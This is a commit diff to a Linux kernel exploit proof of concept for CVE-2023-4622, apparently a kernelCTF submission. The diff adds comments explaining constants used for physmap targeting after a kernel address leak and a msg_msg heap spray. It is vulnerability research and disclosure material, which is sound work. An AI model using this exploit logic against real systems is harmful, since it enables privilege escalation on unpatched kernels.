Update poc.c

Author: d4em0n

pocs/linux/kernelctf/CVE-2023-4622_lts/exploit/lts-6.1.36/poc.c

@@ -202,9 +202,9 @@ void leak()
 	printf("choose 0x%lx 0x%lx\n", KERNEL_BASE, LEAKED_KHEAP);
 }
 
-#define FIXED_OFFSET 0x140000000
-#define PAGE_OFFSET_BASE (LEAKED_KHEAP - FIXED_OFFSET)
-#define TARGET_PHYS_ADDR 0x82e2380
+#define FIXED_OFFSET 0x140000000 
+#define PAGE_OFFSET_BASE (LEAKED_KHEAP - FIXED_OFFSET) // physmap base of physical address 0x0
+#define TARGET_PHYS_ADDR 0x82e2380 // high probability addr we found msg_msg after spray 794MB msg
 #define PHYS_ADDR_MSG (PAGE_OFFSET_BASE + TARGET_PHYS_ADDR)
 
 #define NUM_QUEUE_MAX 32000